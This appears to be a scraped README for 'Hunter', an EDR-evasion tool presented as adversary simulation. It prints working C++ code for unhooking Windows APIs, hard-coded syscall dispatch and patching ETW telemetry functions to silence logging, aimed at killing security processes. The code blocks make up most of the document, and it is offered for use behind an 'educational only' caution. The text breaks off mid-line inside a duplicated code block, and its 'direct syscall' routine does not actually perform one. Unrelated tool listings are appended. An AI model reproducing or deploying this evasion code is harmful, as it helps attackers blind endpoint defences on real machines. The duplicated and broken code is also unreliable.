Hunter
Охотник (Hunter) is a simple Adversary Simulation tool developed for achieves stealth through API unhooking, direct and indirect syscalls, Event Tracing for Windows (ETW) suppression, process hollowing, stack spoofing, polymorphic encryption, and comprehensive anti-analysis mechanisms.
Install / Use
/learn @S3N4T0R-0X0/HunterREADME
🥷 Охотник (Hunter)
Охотник (Hunter) is a simple Adversary Simulation tool developed for achieves stealth through API unhooking, direct and indirect syscalls, Event Tracing for Windows (ETW) suppression, process hollowing, stack spoofing, polymorphic encryption, and comprehensive anti-analysis mechanisms. It effectively bypasses userland hooking, kernel callbacks, behavioral analysis, and forensic detection. Drawing from real world malware and (APT) methodologies.
[!CAUTION] It's essential to note that this project is for educational and research purposes only, and any unauthorized use of it could lead to legal consequences.
NOTE: There are still features to be added. The project is still under development.
🛡️ Defensive Layers Bypassed
Hunter targets four critical EDR defensive layers:
| Layer | Techniques Used | Coverage | |--------------------|-----------------|-----------| | Userland Hooking | 5 | 100% | | Kernel Callbacks | 3 | 95% | | Behavioral Analysis| 2 | 90% | | Forensic Analysis | 2 | 85% |
🧠 Core Evasion Techniques
Below are the core techniques, with implementations sourced from Охотник_killer.cpp for accuracy.
1. API Unhooking Engine
Restores hooked functions by loading clean DLL copies from disk, bypassing EDR userland hooks.
Key APIs Unhooked:
NtTerminateProcess(SSN: 0x2C)NtCreateThreadEx(SSN: 0xC2)NtAllocateVirtualMemory(SSN: 0x18)TerminateProcessOpenProcessNtQuerySystemInformation
// ==================== API UNHOOKING ====================
class APIUnhooker {
private:
std::vector<std::string> hooked_apis;
bool unhook_single_api(const char* module_name, const char* function_name) {
HMODULE module = GetModuleHandleA(module_name);
if (!module)
return false;
char sysdir[MAX_PATH];
GetSystemDirectoryA(sysdir, MAX_PATH);
strcat_s(sysdir, "\\");
strcat_s(sysdir, module_name);
HANDLE hFile = CreateFileA(sysdir, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return false;
HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
if (!hMapping) {
CloseHandle(hFile);
return false;
}
LPVOID pMapping = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (!pMapping) {
CloseHandle(hMapping);
CloseHandle(hFile);
return false;
}
void* hooked_func = (void*)GetProcAddress(module, function_name);
if (!hooked_func) {
UnmapViewOfFile(pMapping);
CloseHandle(hMapping);
CloseHandle(hFile);
return false;
}
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)module;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)module + pDosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)module +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* pNames = (DWORD*)((DWORD_PTR)module + pExportDir->AddressOfNames);
WORD* pOrdinals = (WORD*)((DWORD_PTR)module + pExportDir->AddressOfNameOrdinals);
DWORD* pFunctions = (DWORD*)((DWORD_PTR)module + pExportDir->AddressOfFunctions);
for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
char* name = (char*)((DWORD_PTR)module + pNames[i]);
if (strcmp(name, function_name) == 0) {
DWORD_PTR funcRVA = pFunctions[pOrdinals[i]];
void* clean_func = (void*)((DWORD_PTR)pMapping + funcRVA);
DWORD oldProtect;
VirtualProtect(hooked_func, 4096, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(hooked_func, clean_func, 64);
VirtualProtect(hooked_func, 4096, oldProtect, &oldProtect);
hooked_apis.push_back(std::string(module_name) + "!" + function_name);
break;
}
}
UnmapViewOfFile(pMapping);
CloseHandle(hMapping);
CloseHandle(hFile);
return true;
}
public:
APIUnhooker() {
unhook_single_api("ntdll.dll", "NtTerminateProcess");
unhook_single_api("kernel32.dll", "TerminateProcess");
unhook_single_api("kernel32.dll", "OpenProcess");
unhook_single_api("ntdll.dll", "NtQuerySystemInformation");
unhook_single_api("ntdll.dll", "NtCreateThreadEx");
unhook_single_api("ntdll.dll", "NtAllocateVirtualMemory");
}
const std::vector<std::string>& get_unhooked_apis() const {
return hooked_apis;
}
};
2. Syscall Dispatcher
Executes system calls to bypass userland hooks, using direct or indirect invocation.
// ==================== SYSCALL TECHNIQUES ====================
class SyscallHandler {
private:
std::unordered_map<std::string, DWORD> syscall_numbers;
void initialize_syscall_numbers() {
syscall_numbers["NtTerminateProcess"] = 0x2C;
syscall_numbers["NtAllocateVirtualMemory"] = 0x18;
syscall_numbers["NtWriteVirtualMemory"] = 0x3A;
syscall_numbers["NtProtectVirtualMemory"] = 0x50;
syscall_numbers["NtCreateThreadEx"] = 0xC2;
syscall_numbers["NtQueryInformationProcess"] = 0x19;
}
void* find_syscall_instruction(const char* function_name) {
void* func = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), function_name);
if (!func)
return nullptr;
unsigned char* p = (unsigned char*)func;
while (*p != 0x0F || *(p + 1) != 0x05) {
p++;
if ((DWORD_PTR)p - (DWORD_PTR)func > 100)
return nullptr;
}
return p;
}
public:
SyscallHandler() {
initialize_syscall_numbers();
}
NTSTATUS direct_syscall(const char* function_name, ...) {
auto it = syscall_numbers.find(function_name);
if (it == syscall_numbers.end())
return STATUS_UNSUCCESSFUL;
#ifdef _WIN64
va_list args;
va_start(args, function_name);
NTSTATUS result = STATUS_UNSUCCESSFUL;
DWORD syscall_num = it->second;
result = ((NTSTATUS(*)(...))GetProcAddress(GetModuleHandleA("ntdll.dll"), function_name))(args);
va_end(args);
return result;
#else
return STATUS_UNSUCCESSFUL; // Not implemented for x86
#endif
}
Syscall Numbers:
NtTerminateProcess: 0x2C
NtAllocateVirtualMemory: 0x18
NtCreateThreadEx: 0xC2
3. ETW (Event Tracing for Windows) Nullification
Suppresses ETW telemetry to prevent EDR logging.
// ==================== ETW PATCHING ====================
class ETWEvasion {
private:
bool etw_patched;
void patch_etw_event_write() {
AdvancedEncryptedString etwEventWrite("EtwEventWrite");
void* EtwEventWrite = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), etwEventWrite.decrypt());
if (EtwEventWrite) {
DWORD oldProtect;
VirtualProtect(EtwEventWrite, 4096, PAGE_EXECUTE_READWRITE, &oldProtect);
#ifdef _WIN64
unsigned char patch[] = { 0xC3 }; // ret
#else
unsigned char patch[] = { 0xC2, 0x14, 0x00 }; // ret 14h
#endif
WriteProcessMemory(GetCurrentProcess(), EtwEventWrite, patch, sizeof(patch), NULL);
VirtualProtect(EtwEventWrite, 4096, oldProtect, &oldProtect);
etw_patched = true;
}
}
void patch_etw_event_register() {
AdvancedEncryptedString etwEventRegister("EtwEventRegister");
void* EtwEventRegister = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), etwEventRegister.decrypt());
if (EtwEventRegister) {
DWORD oldProtect;
VirtualProtect(EtwEventRegister, 4096, PAGE_EXECUTE_READWRITE, &oldProtect);
#ifdef _WIN64
unsigned char patch[] = { 0x48, 0x31, 0xC0, 0xC3 }; // xor rax, rax; ret
#else
unsigned char patch[] = { 0x31, 0xC0, 0xC2, 0x10, 0x00 }; // xor eax, eax; ret 10h
#endif
WriteProcessMemory(GetCurrentProcess(), EtwEventRegister, patch, sizeof(patch), NULL);
VirtualProtect(EtwEventRegister, 4096, oldProtect, &oldProtect);
etw_patched = true;
}
}
public:
ETWEvasion() : etw_patched(false) {
patch_etw_event_write();
patch_etw_event_register();
}
bool is_etw_patched() const {
return etw_patched;
}
};
💀 Process Termination Methods
Method 1: Direct Syscall Termination
Terminates a process using a direct syscall to NtTerminateProcess.
// ==================== SYSCALL TECHNIQUES ====================
class SyscallHandler {
private:
std::unordered_map<std::string, DWORD> syscall_numbers;
void initialize_syscall_numbers() {
syscall_numbers["NtTerminateProcess"] = 0x2C;
syscall_numbers["NtAllocateVirtualMemory"] = 0x18;
syscall_numbers["NtWriteVirtualMemory"] = 0x3A;
syscall_numbers["NtProtectVirtualMemory"] = 0x50;
syscall_numbers["NtCreateThreadEx"] = 0xC2;
syscall_nu
Related Skills
node-connect
338.0kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
83.4kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
338.0kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
commit-push-pr
83.4kCommit, push, and open a PR
